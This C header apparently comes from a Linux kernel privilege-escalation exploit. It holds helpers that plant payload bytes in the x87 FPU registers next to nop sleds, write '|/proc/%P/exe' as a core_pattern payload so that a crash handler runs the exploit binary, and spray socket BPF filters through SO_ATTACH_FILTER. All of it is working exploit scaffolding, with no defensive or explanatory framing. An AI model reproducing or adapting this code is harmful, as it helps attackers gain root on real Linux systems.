#ifndef __H_RIP
#define __H_RIP

#include <assert.h>
#include <stddef.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <linux/filter.h>
#include <linux/types.h>

struct fp_reg {
	__u64 low;
	__u16 high;
} __attribute__((__packed__));

struct fpu_state {
	__u16 cw;		// fpu control word
	__u16 __pad0;
	__u16 sw;		// fpu status word
	__u16 __pad1;
	__u16 tw;		// fpu tag word
	__u16 __pad2;
	__u32 ip;		// fpu instruction pointer
	__u16 ip_cs;	// fpu instruction pointer selector
	__u16 ip_op;	// fpu last opcode
	__u32 dpo;	// fpu data pointer offset
	__u16 dpo_ds;	// fpu data pointer selector
	__u16 __pad3;
	struct fp_reg st[8];
} __attribute__((__packed__));

// Offset of the actual payload bytes after the start of the written area.
// st(0) will get clobbered by sleds, so need to ignore that.
#define PAYLOAD_OFFSET (offsetof(struct fpu_state, st[1]))

static inline void write_payload(const __u8* payload, unsigned len) {
	struct fp_reg st[8];
	memset(&st, 0x01, sizeof(st));

	int i = 8 - 1 - 1/*need to keep st(0) untouched, see nop sled comment*/;
	while (i >= 0 && len > 0) {
		unsigned remain = len < sizeof(struct fp_reg) ? len : sizeof(struct fp_reg);
		memcpy(st + i, payload, remain);

		payload += remain;
		len -= remain;
		i--;
	}

	assert(!len);

	asm volatile("finit");
	for (i = 0; i < 8; i++) {
		asm volatile("fldt %0" : : "m"(st[i]));
	}

	#if 0
	struct fpu_state state;
	asm volatile("fnsave %0" : "=m"(state) : : "memory");
	for (unsigned i = 0; i < sizeof(state); i++) {
		putchar(*((u8*)&state + i));
	}
	#endif
}

static inline void write_core_payload() {
	static const char* core_pattern = "|/proc/%P/exe";
	write_payload((const __u8*)core_pattern, strlen(core_pattern) + 1);
}

static inline int spray_one_filter(struct sock_filter* filter, unsigned short len) {
	struct sock_fprog prog = {
		.len = len,
		.filter = filter,
	};

	int fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd >= 0 && setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog)) < 0) {
		close(fd);
		return -1;
	}

	return fd;
}

#endif
